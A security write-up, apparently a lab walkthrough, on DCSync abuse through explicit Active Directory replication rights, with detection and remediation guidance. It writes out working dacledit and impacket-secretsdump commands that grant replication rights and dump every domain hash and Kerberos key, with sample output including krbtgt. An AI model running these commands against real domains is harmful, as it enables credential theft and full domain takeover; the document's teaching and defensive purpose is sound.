DCSync Without Domain Admin: Explicit Replication Rights

DCSync does not require Domain Admin membership. The underlying mechanism, the Directory Replication Service Remote Protocol (DRSR), only checks two ACEs on the domain naming context head: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All. Any principal with both ACEs can pull every credential in the domain. No group membership, no elevated token, no lateral movement needed.

This matters because these ACEs are invisible to most audit tooling. Group membership reports miss them. Even many SIEM configurations do not alert on DRSR calls from non-DC machines. The rights sit silently on the domain root object until someone dumps your domain with a helpdesk account.

Granting the Rights

petyer.baelish is a regular domain user in sevenkingdoms.local, a member of the Small Council group with no admin privileges. Using dacledit from the impacket suite, both replication ACEs are written directly to the domain NC head:

dacledit.py \
  -action 'write' \
  -rights 'DCSync' \
  -principal 'petyer.baelish' \
  -target-dn 'DC=sevenkingdoms,DC=local' \
  'sevenkingdoms.local/administrator:P@ssword123!'
```
```
[*] DACL backed up to dacledit-20260302-163428.bak
[*] DACL modified successfully!

The -rights DCSync shorthand writes both DS-Replication-Get-Changes (GUID 1131f6aa-...) and DS-Replication-Get-Changes-All (GUID 1131f6ad-...) in a single operation. Both are required; the first alone is insufficient to pull secrets.

Running the Attack

With the rights in place, secretsdump authenticates as petyer.baelish and issues DRSR GetNCChanges requests directly to the DC. No service account, no Mimikatz, no code execution on any host:

impacket-secretsdump \
  'sevenkingdoms.local/petyer.baelish:@littlefinger@'@10.3.10.10 \
  -just-dc
```
```
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c5f2d015f316018f6405522825689ffe:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b9b946950fd4aee13e73907a2bea9dff:::
tywin.lannister:1113:aad3b435b51404eeaad3b435b51404ee:af52e9ec3471788111a6308abff2e9b7:::
cersei.lannister:1115:aad3b435b51404eeaad3b435b51404ee:c247f62516b53893c7addcf8c349954b:::
...
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:e22d2b782d7417df2ceec6e1a09768812cbaa3be145c70be33bc0c4dc8022f1e
krbtgt:aes256-cts-hmac-sha1-96:5462af04a6ad85cd12008e14b51b373cda39328d1254f6e815900cdb6fd28254

Every NT hash and AES key in the domain, including krbtgt, delivered over the network from a standard user account. The attacker now holds everything needed for a Golden Ticket, a pass-the-hash chain to any host, or direct authentication as any user.

Why This Misconfiguration Is Dangerous

The risk profile is different from a compromised DA account. A domain admin requires privilege escalation, which generates events and triggers detections. Replication rights are a direct path: compromise one user, check their ACEs, call DRSR. The only Kerberos ticket involved is the user’s own TGT.

More critically, the rights are not discoverable through standard processes. Querying net user /domain or enumerating group memberships shows nothing unusual. BloodHound will find this if it has been run and the data is current, but most organizations do not run it continuously. The ACE sits on the domain root object and is only visible through a targeted LDAP query or a dedicated ACL audit tool.

Any account with replication rights is, in practice, a Domain Admin with no group membership trail.

Detection

Windows event ID 4662 fires when an object with the DS-Replication GUIDs is accessed. The catch is that every domain controller generates this event legitimately during normal replication, so filtering on the GUID alone produces noise. The reliable signal is 4662 on the domain NC head where the subject account is not a DC computer account, not MSOL_* (Azure AD Connect), and not a known backup solution service account. DRSR traffic from a workstation or member server should be treated as an incident.

Microsoft Defender for Identity and Sentinel both have built-in rules for this pattern. Without one of those, you need a SIEM query specifically looking for 4662 with 1131f6ad-456a-4aa7-93c9-12b5a9e9c1c4 in the properties from a non-DC source.

Remediation

Remove replication ACEs from all non-DC principals. The only accounts that should hold these rights are domain controller computer accounts and, where applicable, Azure AD Connect service accounts (scoped to the minimum required attributes).

Audit the domain NC head ACL with:

impacket-dacledit \
  -action 'read' \
  -target-dn 'DC=sevenkingdoms,DC=local' \
  'sevenkingdoms.local/administrator:P@ssword123!' \
  2>&1 | grep -i replication

Or via PowerShell on a domain member:

(Get-Acl "AD:\DC=sevenkingdoms,DC=local").Access |
  Where-Object { $_.ObjectType -match "1131f6a" } |
  Select-Object IdentityReference, ObjectType, ActiveDirectoryRights

Any principal in the output that is not a DC or an approved sync account is a finding. Remove the ACEs, rotate the account’s credentials, and investigate when and how the rights were granted. If the account was compromised before discovery, treat krbtgt as exposed and perform a double reset.

Replication rights should be reviewed as part of every Active Directory security assessment, alongside Kerberoastable accounts and unconstrained delegation. They are consistently underweighted relative to the access they grant.